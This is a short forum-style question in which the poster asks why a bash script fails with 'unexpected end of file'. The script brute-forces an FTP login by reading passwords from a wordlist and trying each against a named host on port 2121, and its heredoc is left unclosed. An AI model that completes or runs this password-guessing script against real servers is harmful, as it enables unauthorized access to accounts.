I'm writing a short bash script which brute forces an ftp server using a password list. Here is my code:
#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"
cat $filename | while read LINE; do
PASS=$LINE
ftp -inv services.cyberprotection.agency 2121 << EOF
user $USER $PASS
done
When I run my script, I get this error:
syntax error: unexpected end of file
Can anyone suggest why I'm getting this error, thanks for any help.